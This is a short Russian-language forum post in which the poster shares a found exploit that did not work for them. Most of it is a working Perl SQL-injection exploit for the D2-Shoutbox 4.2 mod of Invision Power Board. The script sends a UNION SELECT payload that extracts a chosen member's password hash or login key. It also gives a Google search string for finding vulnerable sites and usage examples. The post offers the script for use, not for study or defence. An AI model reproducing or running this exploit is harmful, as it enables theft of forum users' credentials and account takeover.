Вот насшёл експлоит, но он у меня не работает, наверное там где мне надо его прменить нет этого модуля, D2-Shoutbox.
Может кому пригодится.

#!/usr/bin/perl
################################################## #######
# _______ _______ ______ #
# |______ |______ | \ #
# ______| |______ |_____/ #
# #
#D2-Shoutbox 4.2(IPB Mod)<=SQL injection #
#Created By SkOd #
#SED security Team #
#http://www.sed-team.be #
#skod.uk@gmail.com #
#ISRAEL #
################################################## #######
#google:
#"Powered By D2-Shoutbox 4.2"
################################################## #######
use IO::Socket;
$host = $ARGV[0];
$user = $ARGV[2];
$uid = $ARGV[3];
$pid = $ARGV[4];
$type = $ARGV[5];

sub type()
{
if($type==1){$row="password";}
if($type==2){$row="member_login_key";}
else{print "Just 1 Or 2\n";exit();}
$sql="index.php?act=Shoutbox&view=saved&load=-1%20UNION%20SELECT%20null,null,null,null,".$row.", null,null,null%20FROM%20ibf_members%20where%20id=" .$user."/*";
$path = $ARGV[1].$sql;
}


sub header()
{
print q{
################################################## #####################
### D2-Shoutbox 4.2 SQL injection Exploit ###
### Tested On D2-Shoutbox 4.2 And IPB 2.4 ###
### Created By SkOd, Sed Security Team ###
################################################## #####################
sedSB.pl [HOST] [DIR] [victim] [my id] [my md5 hash] [1-(1.*)/2-(2.*)]
sedSB.pl www.host.com /forum/ 2 4500 f3b8a336b250ee595dc6ef6bac38b647 2
################################################## #####################
}
}

sub sedsock()
{
$sedsock = IO::Socket::INET->new( Proto => "tcp", PeerAddr
=> $host, PeerPort => "80") || die "[-]Connect
Failed\r\n";
print $sedsock "GET $path HTTP/1.1\n";
print $sedsock "Host: $host\n";
print $sedsock "Accept: */*\n";
print $sedsock "Cookie: member_id=$uid; pass_hash=$pid\n";
print $sedsock "Connection: close\n\n";
while($res = <$sedsock>){
$res =~ m/shout_s'>(.*?)<\/textarea>/ && print "[+]User:
$user\n[+]Md5 Hash: $1\n";
}
}

if(@ARGV < 6){
header();
}else{
type();
sedsock();
}
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